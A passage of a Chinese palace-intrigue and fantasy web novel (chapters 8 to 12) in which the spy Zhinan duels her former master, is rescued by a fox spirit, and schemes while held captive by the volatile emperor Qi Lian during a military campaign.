台下瞬间鸦雀无声。 她出招太快,许多人只见她是个女子,便不放在眼中,嘻嘻哈哈,以至无人看清她的招数。 齐琏眯着眼,神色倒是不乏欣赏,他一挥手,便来人将倒下那人抬了下去,紧接着又上来一位。 真是疯子!好歹也是自己手下的士兵,那人也只当是供他取乐的儿戏! 一位接一位,夜幕低垂,繁星点点,遥远的山风穿林而过,猎猎作响,巡逻的队伍燃起火把,远处望去鬼火斑斑。 一袋绣花针用尽,枝南将布袋扔至齐琏脸上,他这回倒是嘻嘻哈哈,毫不在意,抹了把脸,将袋子扔至一旁。 一时半会儿,竟是无人应战。齐琏扫过台下一众士兵,勾唇笑了笑:“下一个,谁来呢?” 经历方才数战,再无士兵敢瞧不起她,只纷纷埋下头,作只鹌鹑。 枝南垂眸,她也并非打得顺畅,距离上次受罚才过去不到二十日,身上的伤还未好,左手又并不十分方便,因此也挂了不少彩。 她如今无时无刻不后悔昨夜没有杀了齐琏。 突然,不远处走来一人,隐隐绰绰,看不清样貌,声音倒是先传了过来。 “我来吧。” 那人声色淡淡,一袭白衣胜雪,脚踏星光点点,步履悠悠。 枝南蓦然睁大双眼,脸色一僵。 这时,台下传来一阵突兀的掌声,齐琏脱了鞋,光脚搭在椅子上,面上笑得玩味儿。 “噫!这个儿好!秦将军可得好好打,别丢了面儿!” 他拈起一串葡萄,朝嘴里扔了颗,将葡萄皮一骨碌吐了出来。 那人走近,将一把剑扔在她手上,利落地飞身上台。 二人相顾无言,枝南甚至觉得有些好笑。 她这冷心冷情的师父原来是齐琏的麾下客。 “秦斯尘。”她拔剑出鞘,寒光凌冽,确是好剑,凝眸二刻,再抬眼,她已是换了神色,杀意腾腾。 “出手吧。” 8. 妖孽 秦斯尘一把长剑出鞘,却稳如泰山,丝毫不动,只等枝南出招。 枝南咬牙挥剑,劈向对方下盘,对面轻轻一跃,本欲踩她腰肢,她却翻身一滚,躲过一劫。 秦斯尘悠悠落地,夜风拂起翩翩衣袂,月白如水,洒在他身上,倒是颇有几分仙气。 反观枝南,确是地上摸爬滚打,尘土汗粒,杂着血迹,糊了满脸。 枝南爬起,又是一剑猛刺,对面脚尖莲花点地,步身轻旋,绕至其身后,握着剑柄的手臂用力一按,将枝南推出几丈远。 那一臂,力道着实不轻,枝南堪堪稳住脚步,身子却是累得很。 刚刚与众兵将的一番较量,少说也同数十人交了手,又是车轮战术,将她体力也耗了大半。 这秦斯尘,教她五载,对她惯用的招式早已烂熟于心,如今体能、技术皆落于下风,再这般猛攻,定会被打得落花流水,不如待对方主动,见招拆招,寻其弱点,一击破之。 枝南静处原地,眼神却并不露怯,直直盯着对面那人。 两人立于擂台,四目相对,底下人屏息敛神,瞧了许久,见二人皆是毫无动作,不由得窃窃私语起来。 “打呀,怎么不打了,莫不是要上演场师徒情深?” 齐琏拈起颗葡萄,扔至台上,秦斯尘朝他瞥了眼,却也不答。 枝南冷笑一声,她早该料到,这么多年,十二重受何人指使。齐琏遇刺为何直奔十二重,姑娘们被带走芜深为何始终不露面,甚至上次前去领罚时为何郊外除秦斯尘外空无一人,为何非得要吴家走私禁药的账本,桑若为何被指去破坏那薛家的好亲事...... 桩桩件件,在那句“师徒情深”出场后,都有了眉目。 自京都有了十二重,一年后,齐琏便登上了皇位;齐琏上位饱受非议,正是南知内乱之时,槿城便有了十二重。 都言齐蜀新皇任性妄为、心性暴躁,谁又能看到他这步步为营的心思呢? 可他八年前给她找的这位师父,她可不愿认。 剑光一闪,寒气逼人。秦斯尘蓦地动了手,持剑挺出,长驱直入,刺向枝南眉心。枝南塌腰后仰,剑尖直从面上穿过,堪堪断了几根额发。 枝南以足尖为心,旋身一转,竖剑劈去,秦斯尘也反应过来,脚下不停,横剑相抗。 “秦斯尘,可是被那狗皇帝逼急了?怎地漏洞百出了?” 对面怔然,眼神流露出一丝错愕,正是分了神。 她哪瞧出什么漏洞,不过假意一诈,倒正好达成了目的。 枝南趁势,剑走龙蛇,铁剑竟被舞出几分轻灵之感,剑尖晃动,恍若春风拂柳,摇曳生姿,秦斯尘快步腾空,岂料枝南早有预判,旋身飞跃,猛地一踢,正中对方胸口。 秦斯尘狠狠摔至地面,却又将剑朝空中一掷,正中了枝南下落的轨迹。 枝南右肩中剑,虽刺入得不深,但到底又添上一处伤。 刚刚她那一踢,使了不少力,秦斯尘轻功又跃得高,那一摔,到底是比她更严重些。 她拔出长剑,也未觉伤及筋骨,对面武器已无,必输无疑。 她猜不透齐琏究竟要将这戏进行到哪一步才算满意,末了又有什么折磨她的法子,只知她如今必须得赢。 因为她输不起。 枝南将剑扔至齐琏面前,冷冷瞧着他。齐琏勾起唇角,正欲说些什么,身后却传来一阵惊呼。 他心下不爽,正欲发作,回头一看,却是一只通身雪白的巨型狐狸跑了过来。 那狐狸颇有半顶营帐大,四肢雄壮有力,跑起来踏得地面噔噔作响,一双黑瞳倒似焰火腾腾,神色凶狠,它后肢一屈,腾身一跃,飞跨至擂台上,也不管躺在地面的秦斯尘,一把叼起枝南,朝远处山林间跑去。 枝南怎么也没料到这荒唐的斗蛐蛐儿会以这种方式结束,这狐狸也颇有几分眼熟,不就是那谢泽的放大版嘛! 眼看两人已离了军营数里,她忙开口道:“小狐狸,这是要做什么?” 那狐狸闻言,回头探了探,见四下无人,带其蹿入一口山洞中,这才将她放下。 “好心救你一命。”他变回人身,随手叼起根狗尾巴草。 “又并无性命之危,何须相救?” 谢泽见好心又被当驴肝肺,气得把嘴里的草一吐:“那齐琏分明是奔着弄死你去的,你若再待在那儿,早晚得死!” “好了,逗你的,”枝南斜靠在石壁上,笑意却不及眼底,“多亏谢大侠今日搭救,小女子他日定当相报。” 谢泽冷哼一声,见她身上零零散散的好些处伤,走近替她查看伤势。 倒真是颗好棋,暗可游走他营,明可进攻敌方,又懂医病疗伤之术,兼能作消遣烦闷之资。枝南望着他瞧伤的认真劲儿,轻轻弯了唇——那夜才几番手段,便将其勾住了——还是个好拿捏的! “谢泽,疼。”枝南蹙眉,身子几不可察地颤了颤,睫毛忽闪,眸中满是痛苦之色。 “哟,这就受不住了?平时不是挺能耐嘛?”他嘴上虽这般说着,身子倒是又诚实地再度检查了一遍,“瞧这剑伤确是不深,莫非是身上其他伤较为严重?” 说罢,他便伸手欲掀衣,乍然又想起男女之别,蓦地红了脸。 枝南实在累得很,瞧他那一脸纯情娇羞,虽觉好笑,但到底没笑出声来:“医者眼中不见男女,更何况你这只狐狸?” “谁稀罕你呀......”谢泽小声嘀咕,手忙脚乱地解开上杉,上面伤痕交错,新伤覆旧伤,一片狰狞可怖,就连那日所见的香肩,也是疤痕错落,血迹斑斑。 他心下微颤,从袖中掏出药膏,却欲抹不能。 “喂,你......”他推推枝南,对方却头一歪,睡着了。 这人满面尘土,血迹斑斑,睡着时也眉尖微蹙,一双凤眸闭上,密密长长的睫毛投出一片阴影,竟也让人觉出几分怜惜来。 谢泽摇了摇头,犹豫片刻,终是揣着红得滴血的耳尖,轻手轻脚地为其上了药。 他靠在洞壁边,直着身子,将枝南的脑袋朝肩上拨了拨,枝南一下将脸埋进他的肩窝,不安分 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倒是枝南迷惑不已,这厮竟是变脸胜过翻书。 才至营帐,他便轻手轻脚,将枝南放至榻上。 “皇上不可,此女引来异兽,乃不祥之兆啊!” 齐琏不言,将枝南安顿好,这才朝那跪下的臣子走去。 “刷!”长剑出鞘,紧接着,咚地一声,又是一颗人头落地,血腥味霎时扑了满鼻。 “不要再让朕听见这句话。” 底下人战战兢兢,忙点头称是,将尸身拖了出去。 枝南脑中骤然闪过些什么。 传闻齐蜀皇室有一子,生有变色红瞳,其母不明,恐为妖孽。 这等传闻是过去齐琏同其叔伯相争之时所传出来的,自齐琏继位,便也尘封地底,鲜有世人提及。 纵有人听闻,也不过将其视为皇室相争所造出来的伎俩罢了。 只是如今看来,传言恐为真。 齐琏对这等妖孽之说、祥瑞之谈颇为在意,见其被异兽所救,多般以为二人皆为同类,因此态度大大翻转。 她若真要留在其身边,恐得借此下手。 门外又进来几位军医,查看了她的伤势,开了几服方子,又退了下去。 她施施然睁开双眼,假作方醒。 齐琏正踱步,听闻榻上传来动静,忙走了过去。 枝南咳嗽两声,他便忙将人扶起,端来茶水,送至枝南手边,待枝南喝完,又忙接过空杯,放至一旁,一举一动,小心翼翼,生怕出错分毫。 他坐在枝南腿边,虚虚握着她的手,将脑袋枕其膝上,眼神恍惚,语气满是眷恋:“我好好听话,你别走,好吗?” 枝南倒是被他这出整得愣了神,她迟疑着,将手放至齐琏头上,轻轻拍了拍,以作安慰。 “好,阿琏乖,我不走。” 9. 依赖 枝南就这般在营中留了下来。 齐琏每日都会与她一同用膳,有时练兵也让她跟着,紧紧攥着她的手腕,生怕她趁机逃跑。 枝南日日哄着他,与他寸步不离,却仍未换得一丝信任,每当提出要自己走走,总被他拉回去。 即使日日伴在身旁,他却并非事事坦诚相待,每当有何情报,亦或商议战术之时,他总避着她。 如此一番,枝南倒是把自己陷入了两难之境。 转眼又是月圆之夜,枝南借此意欲脱身,谁料齐琏竟把秦斯尘唤了进来,从他手上取得一整瓶解药。 枝南心下微动,攀住他的肩膀,温声唤道:“阿琏。” 齐琏取出一颗解药,抵入枝南唇中:“嗯?” “可将这瓶解药悉数赠我?” “不要,”他一把将药瓶背在身后,“给了你,你就要跑了。” “我若无解药,身子很是难受,”枝南靠在其肩颈上,“给我好不好?” “你是不是现在已经想着离开我了?”他猛地站起身,言辞激烈,在帐内踱来踱去,半晌,方才坐下。 “不要走,好不好?”他抱住枝南,语气很是委屈,“我月圆之时将解药给你便是。” 枝南无言,此人看似事事顺着她,实则却是重重设防。 她推开齐琏,没有说话,背对着他,侧身躺下了。 身后的齐琏骤然慌了,像是个无措的孩子,一个人站在原地,不知如何是好。 一小兵入帐送上汤药,他像是终于找到了目标,将药碗一把掀翻,热气腾腾的汤药劈头盖脸浇了小兵一身,他手忙脚乱地拾起碎瓷片,退了出去。 枝南在榻上听见了帐内这番动静,她不悦道:“你把我的药弄没了。” 那不是她手下的兵,自然轮不着她心疼。 “朕让人再煎一碗,”他凑近枝南,语气极为小心翼翼,“别生气,好吗?” 枝南不再理会身后人。 南知国东北府地势险峻,高山巍峨,乃易守难攻之地,这也是八年来南知临武帝未能拿下此地的原因。如今齐蜀相助,从北方围攻,与南面临武帝相成夹击之势,两军只是驻守原地,都能让叶之淮弹尽粮绝。 东北府耕地不多,粮食虽能自给有余,但供养一只几万人的军队,怕是为难。 东面流竹国虽强大,但与东北府尚隔齐蜀桂城一城,若寻其支援,对方代价过高,况且流竹向来不愿搅合此类纷争,恐也不愿出手相助。 枝南心下思量,却也寻不出什么好法子。 凭她一人,定然止不住这大军。 可杀了齐琏,她也难以全身而退。 身后悉悉索索传来些动静,齐琏爬上床榻,将新煎的药端至其面前。 “药好了。” 他用汤匙舀起一勺,轻轻吹了吹,喂至枝南唇边。 她慢慢抿了一口,皱眉道:“好苦。” 齐琏忙背身下床去寻蜜饯,枝南握紧袖中金簪,慢慢贴近他的背脊,凤眸瞄准那跳动的脉搏,猛地举起簪子—— “皇上,赵家人前来寻赵小姐,求见皇上。” 枝南指尖一转,忙将簪子藏入袖中。来人是个太监,一直侍奉齐琏左右,低垂着眉眼,也不知看见没有,倒是没什么反应。 齐琏正忙着寻蜜饯,却也没寻着,心下暗恼,正是烦躁。 “什么赵小姐,朕哪记得那么多,杀——” “阿琏,”枝南见他话锋不对,忙出声止道,“哪位赵小姐,我在这军中也无女眷说说话,不如唤来同我作陪?” “好,好,”齐琏见枝南态度转好,连忙答应,“将人带上来,再把那赵家人打发了吧。” 那太监退了下去,帐外密密立了两排士兵,其中近帐几人怕是隐匿其中的暗卫,身姿不凡,双眸不时瞥向帐内。 齐琏终于寻到了蜜饯,连忙将它献宝似地捧了上来。 枝南实在没胃口,随手拈了一块,并着药全部吞了下去。 她将金簪随手塞入枕下,疲惫地闭了眼。 “阿娘,阿娘,药好苦哇......”夜色正浓,枝南只觉耳边迷蒙细语,她睁眼,赫然发现齐琏不知何时爬上了她的床,口中呓语连连。 这又是在作甚?枝南朝外一瞥,帐外人影绰绰。她无奈起了身,看齐琏额上冷汗连连。 “阿娘,你别走,你别走......” “母亲,瓷片扎了满手,好疼......” 原来是把自己当作娘亲了。枝南饮了口茶,走出帐外,被门口两人拦下。 “就站这儿,看看月亮。” 玉盘高悬,银光皎皎,大地如霜,冷白一片。 她也想娘亲了。 “之南之南,南有乔木。 乔木青青,蝉鸟齐鸣。 之南之南,南有淮水。 淮水潺潺,鱼虾互嬉。 之南之南,南有皓月。 皓月皎皎,人影相亲。” 母后幼年曾与师父一同游历南方,最是喜爱南境山川日月,明媚自由。只恨日后困于深宫,再不得那份潇洒风流。 一小兵忽地走上前来,端着盅汤,门前侍卫立马斜戟拦下。 “什么人?” “皇上先前令人煮了安神汤,德煜公公让我送来。” 这德煜公公便是常伴齐琏身侧的那位,此刻正找了过来,道:“正是的。” 他抽出根银针,试了试,确是无毒。 侍卫一瞧,不再多疑,将人放了进去,枝南朝那人瞥了一眼,却是觉出几分眼熟。 她回身跟上那人,见那人将汤盅放下,攥住她的手,将其拉至一旁。 “流颜。” 原来这人正是齐琰,自那日刺杀失败后,她便设法参军,混了进来。 “你那汤,恐怕不干净吧。” 这人之前处心积虑通过赵岚云接近齐琏,如今定不会是简简单单送份安神汤。 齐琰起先见枝南在此,正讶然,被她认出,索性也不瞒。 “我不管你是如何取得那公公的信任的,但今日你这汤一旦给齐琏喝下去,你,我,包括那德煜公公,都得死。” “你跑得掉吗?” 若是能杀,她早就杀了,何至于今日待她过来。她不知陈禹盛这伙人为何要杀齐琏,也不欲多问,但如今牵扯到她,她也不得不管。 齐琰沉默片刻,她确实跑不掉,也没想跑掉,但她也着实不愿搭上其他人的性命。 “我自会一人担下罪责。” “真是天真,”枝南笑道,“是你一人这般天真,还是他们皆陪着你这般天真?嗯?陈禹盛?” 齐琰愕 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齐琏清醒过来,见状,忙将人扶起:“军医呢?传军医!” 初春还尚未完全转暖,衣裳厚得很,实则也并未有几个伤口。 但齐琏却是满脸心疼,抚着其伤口,直言是自己不好。 “皇上,”德煜公公进了帐,“秦将军有要事禀报。” “就在这儿吧。”齐琏正眼也不瞧,直接大手一挥。 这倒是合了枝南心意,她趴着身子,背上涂满了药膏,闭目养神。 齐琏坐一旁看了许久,也不知在看些什么,不一会儿,秦斯尘便进来了。 “皇上,这......”他瞧了眼枝南,神色戒备。 “说便是了,那日遇刺,乃枝南相救,对她不必避讳。” 枝南心下觉得好笑,如今倒念起她是救命恩人了。 “南边传来消息,道是十日后围攻。” “好,传令给各将士,明日卯初,向东行军。” 人走后,枝南方才开口:“明日便走?” 齐琏点点头,手指抚上枝南发顶。 “那你得多保重了。” “怎的,你要走?”齐琏突然紧张起来,“你同我一道去,不好吗?” 枝南挑眉,她自是再好不过,只是......这齐琏真会疯到在作战时还带个人? 莫不是那日见她身手好,动了让她打仗的意思? “可我身子疼,怕是上不了战场。” “你安心待着便好。”齐琏的手指穿过她的发丝,青丝柔顺,轻轻巧巧地滑过指缝。 枝南颔首,她自是乐意,只不过还得想个法子把这行军的消息传至叶之淮处,让他早做准备。 “临走前,先让我去十二重收拾些东西,可好?” “你要走?”齐琏摸着发丝的手指骤然用力,将枝南的脑袋扯着一偏,语气已然暴躁,“你又要走!” “不走,只去去就回——” 她尽量安抚着眼前人,却见齐琏双瞳染上一抹血红,逐渐蔓延至整个眼底,他的手逐渐下移,卡在了枝南的后脖颈上。 “去去就回?你又骗我!” 10. 怀疑 枝南被死死掐住脖颈,又怕动手更惹恼了他,僵着身子伸手去抚他的肩,他却一把扯过她的手腕,压在枕边。 “你想害我,你也想害我!” 他翻身跨坐枝南身上,俯身贴近,磨了磨齿,将齿尖贴近那后颈皮肤处,轻轻刮了刮。枝南只觉身后是一头狼,尖利的触感让她后颈直起鸡皮疙瘩。 她受制于人,也不愿就此得罪了他,只抬起小腿,勾住身上人的腰,正欲发力,却觉齐琏突然泄了力。 枝南翻身爬起,正对上谢泽,以及呆呆立于一旁的赵岚云。 谢泽用手帕捂住齐琏口鼻,不知撒了什么药粉,那人竟这般昏了过去。 枝南心思微动,若她此刻杀了齐琏,让谢泽化形将二人带出军营...... 谢泽似是看透她心中所想,直言道:“我不便直接干涉你们这些国仇家恨,尤其是生死之事。” 爹娘现虽隐居山林,但终究与枫禾皇室尚有联系,况且妖类若出手害人,妖罚也将随之而至。 枝南叹气,敢情这狐狸在大事上只能做做看客。她点点床上那人:“这又该如何处理呢?” “不过是些迷药,半炷香时间便能醒过来。” 可醒来后又该如何解释身后凭空出现一人将他捂晕?门前侍卫也只见赵岚云一人,总不能推至她身上吧? 谢泽也意识到这个问题,他倒是能像上次那般带着二人逃走,只不过枝南定然是要留下来的。 三人面面相觑。 赵岚云几番纠结,终于开口道:“其实......我可以——” “你不可以!” 她话未说完,便被二人截了胡。 帐外侍卫突然禀告,宫中有人传书。 枝南心思一转,她取出桌上纸笔,匆匆忙忙留了几个字,卷成一卷,塞给谢泽。 “这皇帝是你弄晕的,哪怕你并无害他之意,到底也是结了仇,我若将你供出来,你也不得不入这团乱局了。” “仍是上次那地儿,替我送至,我帮你瞒过去,乖。” 她踮脚拍了拍谢泽的脑袋,一番威胁之辞,又并温柔之意,倒是让眼前之人为此凌乱了两分。 帐外那人久不见回应,又禀报一声,谢泽来不及多思考。立马变回狐狸,藏至一角。 枝南朝外瞄了眼,明日清晨便走,现今除一些巡逻的士兵外,其余多在收拾行囊。 她唤外面那人进来。 “皇上刚在榻上躺下,若无紧急要务,放那桌上便好。” 那信使也不敢抬头看,便将信件放至桌上,枝南闪至其身后,趁其不备,一刀劈向后脖颈,那人瞬间便晕了过去。 赵岚云目瞪口呆。 枝南没理会她的目光,径直把人拖至床边,顺手掀翻了附近的桌椅。 紧接着,她尖叫一声,花容失色,摔在地上。 “有刺客!” 帐外侍卫一听,忙持剑冲了进来,便瞧见这番乱象。 赵岚云反应过来,同枝南一道,皆指向那位信使,而齐琏又正处昏迷,侍卫只得先将人带了下去,又遣人去请军医。 枝南朝谢泽使眼色,他见已有替罪羊羔,便趁乱先行蹿了出去。 赵岚云有些紧张,微微触了触枝南的指尖,枝南轻轻回握,以示安慰。 此等把戏骗骗那些侍卫便罢了,齐琏是定然骗不过的,待他醒来,自己恐怕就得暴露。 但如何解释身后莫名蹿出的人?若真到迫不得已,也只得将赵岚云推出去了。 她没他们那么良善。 半炷香时间将至,齐琏微微动了动,醒了过来。 军医恰巧赶到,微微把了脉,只道并无大碍。 齐琏扫视帐内一圈,死死盯着枝南,瞳孔虽已恢复为幽深的黑眸,但其中的狠意不减。 “过来。”他朝枝南勾了勾手,语气冷冰冰的,全然不见几日前的温柔。 赵岚云拽住了她,枝南不动声色地挣脱,却仍被齐琏瞧见了。 “滚出去!”他朝赵岚云大吼一声,将这可怜的小蛇吓得颤了颤。 帐内只剩了他们俩人。 枝南一步一步,朝齐琏走去。 夜已然很深了,黑幕星光点点,但全然映不进帐内,几点烛火微微,明黄,暗黄,橘黄,烛花中还闪着摇摇曳曳的红,全然投印在二人面庞。 齐琏一把拽过枝南,昏黄的烛光印在她侧脸,一明一暗,泪痣在明的一侧,却是没了蛊惑之感。 骗子。 幼年他随着娘亲流浪,做了数年乞儿,曾数次为了口吃食被骗,直到最后,娘亲让他在一世家大宅门口等她,却再也没回来。 然后便遇着了母亲。 彼时盛静熙才十五,将将与太子定亲,还未入住东宫,就得面对太子养的几个莺莺燕燕不说,还有他这个拖油瓶。 他不知娘亲是如何同盛静熙说的,但盛静熙终究带着他入了东宫。 太子对他冷淡,可盛静熙却也待他极好,,但他情绪转变之时便会红瞳乍现,又是生母不明,惹了不少闲话。 也总有人嚼舌根子嚼到他眼前的。 他怀疑过许多次,娘亲是因为这个不要他的吗? 那母亲呢?母亲也会吗? 后来母亲有了个小妹妹,没两年,又有了弟弟。 他好像没办法成为母亲唯一的孩子了。 她呢?她也未曾用真心待他。 他抚上枝南阴影下的脸颊,手指下意识地揉搓。 枝南却没心思观察这错落光影。 她眼神凝在齐琏瞳孔上,脑海中全然浮着如何逃过这一劫。 若是真同他到鱼死网破那一步,也只能同归于尽。 “你藏人了?” 枝南愕然,诚然没想到是这番问话。 她下意识摇摇头。 “那是谁迷晕的我?可别说是那个信使,我自己的人,我能不清楚?” 齐琏将她狠狠一推,甩至地上。 “是我,”枝南一把将他挥开,站起身来,俯身贴近他耳侧,“我自幼便与寻常人不同,生死之时,总有异象。” 她不确定这话能否唬住齐琏,却也只能一搏。 齐琏霎时想起上次大狐出现,也是擂台上生死之时,只是,这等言辞...... “这么说来,你是不会死了?” 枝南见他犹疑,也只能硬着头皮:“这倒不知,不过十二重向来凶险,倒是屡屡能化险为夷。” “这等异象,倒是好多了,”他掏 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可军医就在军营,解个蛇毒,也费不了多长时间,拖不死人。 她几番利害比对,最终还是捧起了齐琏是手腕,俯身替他吸了蛇毒。 倒是两只手都有了伤。枝南心下觉得好笑,不过他到底不用上战场,只是作战后方,也影响不了他什么。 齐琏瞧着她,红唇嫣嫣,一口一口吮出毒血,又吐出来。唇齿柔软,蹭在皮肤上,泛出几分痒意。 “你也替旁人这般做过吗?” 啊?枝南抬头,为他此言有些发愣。 她没理会这人的疯言疯语,见毒血清理得差不多,便拈起手帕,准备擦擦唇。 谁知齐琏靠了过来,嘴唇径直贴上,伸出舌尖,里里外外,将那血迹舔了个干干净净。 枝南皱眉,推开人,狠狠甩了一巴掌。 齐琏舔了舔唇,也不恼,倒是勾起唇角,笑得妖媚。 真是个疯子! 门外一群人正撞见这场面。 “阿弥陀佛......”军医进来,倒一时不知先看手上的伤还是先看脸上的伤。 这一晚来来回回折腾了他好几趟,他倒是敢怒不敢言。 旭日未生,晨光却已将东方斑斑点亮。 三万大军整列齐阵,直待一声下令。 齐琏昨夜折腾了一晚上,眼下全是青黑,此刻也没了上马的心思,斜靠在轿上,懒懒扶着脑袋。 如今他也不会将自己赶走了,枝南懒得再同他过招,索性带着赵岚云,一齐上了马。 春日和煦,明日初升,暖阳淡淡洒在万物山川之上,柔光片片,光影重重。 马蹄踏在沾满露水的土地上,软软糯糯,留出一道混着泥土的青草香。 山色空蒙,黛青色,深灰色,暗蓝色,尖峰,驼峰,峭壁,平脊,隐隐绰绰,晕染了整片云霞,勾勒出一幅飘逸的水墨画。 赵岚云满目舒畅,多年被困于深宅大院,却是少见这自然之景。 枝南握着缰绳,目色淡淡,视线扫无定点。 八年来,她再一次踏出槿城。 却是同着一支杀向自己亲人的队伍。 11. 身份 行军五日,见碎日鎏金,静水添绿,缺月淌银,幽山抹黛。 齐琏前些日子懒洋洋的,今日总算亲身上马了,却是上的枝南的马,还将赵岚云赶了下去。 他身形高大,将枝南揽进怀中,整整高过她大半个脑袋,倒显得平日不近人色的枝南有些小鸟依人了。 不过也只是齐琏臆想着,枝南在马上不舒服地动了动,她自是明白这些男子们的心思,若是几天前还能随着他迎合几番,如今齐琏也不放她走,她也懒得装模作样了。 三万人,很微妙的数字,于齐蜀而言,算不上大军,于临武帝而言,却是一大助力。 主要是这些人,能断了叶之淮北边的路。 让他退无可退。 三万人,十日后......不知那狐狸如今有没有将消息送到,待到后日傍晚,这支队伍便能抵达紧邻东北府的榆城了。 枝南正思索着,迎面却是一人快马加鞭:“急报——” 齐琏倒也难得正色几分,揽辔停骖,侧耳听其禀报。 “东北府将军周玉阳突袭,榆城——失守!” 师父! 枝南眼中闪过一丝光亮,自九年前师父外出游历,便再未得过她的消息。 如今她却是入了东北府,夺了这齐蜀的榆城,破了他们的如意算盘! 四周皆是一片沉沉死气,枝南垂眸,掩住喜色。 “啪!”齐琏一鞭子甩在那人身上,一双眸子怒气冲冲,横扫众将。 秦斯尘领会了他的意思:“原地驻扎结营!” 齐琏翻身下马,将缰绳扔还至枝南手中,走向不远处的河岸边。 秦斯尘跟了上去。 齐琏反身掐住了他的脖子:“怎么,营里出了细作?” 秦斯尘没有还手,只艰难地点了点头。 齐琏一把松开手,秦斯尘连连后退两步,喘匀了气。 “皇上可是怀疑臣?” “你,朕倒还是信得过的。”他将腰中佩剑拔出,直直往水里一刺,淡红的血水缓缓浮了上来,没多久,一片腥白的鱼肚皮,现了出来。 齐琏一脚踏进水里,溅起斑斑水花。他弯身捞起死鱼,就着那血水,舔了下去。 “皇上不怀疑......”秦斯尘垂手,眼眸轻轻瞥了瞥远处的枝南,“那位可曾是南知的......” “怀疑啊——”齐琏舌尖一片猩红,似是觉得那鱼味道不好,又将其甩下剑尖,死鱼在远处漂浮着,随着荡荡水波,越来越远。 “可朕若是怀疑她,不得连带着怀疑你和芜深了吗,怎么给朕招了这么个人进来!” 他手腕一翻,剑尖直接横指秦斯尘的脖颈,将将擦过,破了一层薄皮。 远处枝南正陪着赵岚云玩乐,瞧见这一幕。 此事一出,他们必定会怀疑营中细作,而这第一个,便是她。 她不惧他们怀疑,她日日被人拘着,可无常理能解释这消息是如何从她手中传出去的。 毕竟谢泽可超出常理之外。 营中将士虽不知目的地为何,但到底也明了此去是奔着叶之淮的。 东边,便只榆城。 “用人不疑,疑人不用,况且她日日跟在我身边,有人看守,哪有传信之机——”齐琏剑锋一转,银光入鞘,“莫不是……临武帝那边?” “叶之淮要在他们那边插人,可比在我们这边容易多了。” 秦斯尘颔首,话是这么说没错,可他总不放心枝南。 或许是那次擂台上,那番比试,她的那番剑术,根本不是出自他手。 确实不乏天资聪颖,悟性颇高之人,独创剑法,但到底是惹他生了几分疑。 况且齐琏御人也并非十分有术,若是这枝南生了叛逃的心思,也未尝没有可能。 榕城知县……柳静,一个知县小女,会有那忠君报国的思想吗? 远处枝南走来,二人皆止住话语。 “可是营内出了细作?” “是呀,”齐琏抹了把嘴上的鱼血丝,“会是谁呢?” “查呗!”枝南拔出他的剑,将剑尖搅入清水中,翻出了河底一圈泥巴,剑尖的血迹是洗干净了,倒是河水搅黄一片。 齐琏接住她抛回的剑,重新插入鞘中,突然话锋一转:“会抓鱼吗?” 枝南摇头。 齐琏突然跳下河去,水花四溢,阳光下映出五彩斑斓的光影,他俯身,又忽的跌入河中,没了踪影。 秦斯尘正欲上前,水中突然举起一条草鱼,紧接着,露出了齐琏的脑袋。 “晚上给你烤鱼吃。” 枫禾,山林,竹屋,月影。 一双夫妇对月饮酒,举觞互酌,正是怡然得乐之时,却不知何处蹿出一只小狐狸。 “怎地?回来了?阿琰他们呢?” “洗心革面,重新做人去了!” “唉,小丫头之前到底尚未成熟,还是孩子般的心性,如今历练一番,却也能长进几分。” “你呢?”那女子轻轻踹了他一脚,“不是说好要浪迹天涯,如今又回来做甚?” 谢泽化为人形,拈了他爹的酒,一杯饮尽:“好像……做了错事。” “惹什么篓子了?”谢司才一把夺过酒杯,重新斟满。 “好像替那南知的叶之淮办了事儿。” “叶之淮?那南知圣文帝的小儿?”他抚了抚下额,不见得多生气,但还是骂了一句,“逆子。” “圣文帝在时,枫禾与南知交流虽少,但也无争执,算得上是睦邻友好了,”谢泽又抢过他的酒杯,“如今换了这临武帝,面上虽不动干戈,但总有土匪袭边境抢粮,问起来只道近年灾情重重,匪患难清。” “那匪究竟是真土匪还是假土匪,谁又知道呢?” 谢泽话毕,一口气饮完酒,逼得谢司才又进屋内翻出一只杯。 “倒不如借他们这次内乱,把那临武帝弄下去。” “话虽如此,你又如何保得那叶之淮能亲枫禾呢?”睢宁笑着盯着她儿子瞧。 “那就看咱这皇帝如何同那叶之淮谈判了。” 谢司才冷哼一声:“你倒是想得美,自己做的乱子找皇上来给你补窟窿眼。” “咱且不说叶之淮如今孤立无援,枫禾若有番作为,便是雪中送炭,就说那同临武帝联手的齐蜀,二十年前同咱们皇帝……可是有番深仇呢。” 二十年前,齐蜀向西朝枫禾开战,当今枫禾圣上彼时还是一小王,被派去迎战,本得几番胜仗,麾下大将却被对方构陷通敌,彼时皇帝昏庸,又生性多疑,免了那几人,霎时便节节败退。 老皇帝被吓得不行,遣人求和,将当今圣 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“榆城既已被攻占,那便先去一旁的梧城吧,”齐琏同秦斯尘商议,“得走小路,明晚就得赶到,叫梧城那边的,给朕守好了!” 快马加鞭,第二日午后,大军总算到了梧城。 梧城地势较低,仅与东北府接了个角,东边即为榆城,隔住两地。 叶之淮那边攻下榆城后,北边便开阔了,纵使齐琏下令禁止与其通商交易,但到底有人愿意冒着风险赚这笔钱。 原本的战略如今是用不得了,只还得同临武帝那边商议。 他本不欲掺和此事,奈何临武帝愿将东北府同他分而治之,倒也未尝不可。 几日内,将士们肃军整纪,周玉阳那边倒也无进攻的意思。 临武帝那边传来了消息,却是不将他的军队放在心上,代价太高。 明日那边的使者应到了。 秦斯尘走了过来,附其耳边低语几句。 闻言,他抬眸,瞥了眼正翻着兵书的枝南,轻笑道:“这倒是有意思了。” “传上来吧!” 齐琏大步走向枝南,她有所察觉,但面上不显,只专心翻着手中书。 “柳静?” 枝南一愣,却也迅速反应过来,抬头瞧他:“怎的这般唤我了?已是前尘事,倒颇觉不惯。” 齐琏笑了笑,也没回她,只自顾自地说道:“有个榕城故人,想见见你。” 枝南心下警惕,今日这般,恐怕是有备而来,对她身份有所怀疑了。 “谁人啊,反正是吃你的茶,倒也来叙叙旧。” 她笑着对上齐琏的双眼,神情雀跃,倒颇有几分期盼故人之感。 门外走来一个女子,一如八年前的粗布衣裳,瘦成骷髅的身形,面容却略显沧桑,被阳光晒出了麻麻的斑。 她抬眸,眼中竟是几丝悲愤,似厉鬼般,直勾勾地盯着她。 那只枯枝般的手臂直直抬起,又似枯木逢春,突然生了气力,那黄瘦的指尖伸出,颤颤巍巍地指向枝南—— “她根本不是柳静!” 12. 谢氏 “我不是柳静?那谁是?你是?” 枝南只抬眸淡淡瞧了一眼,似是毫不在意,一脸云淡风轻,完完全全地忽视了眼前人,又翻看起兵书来。 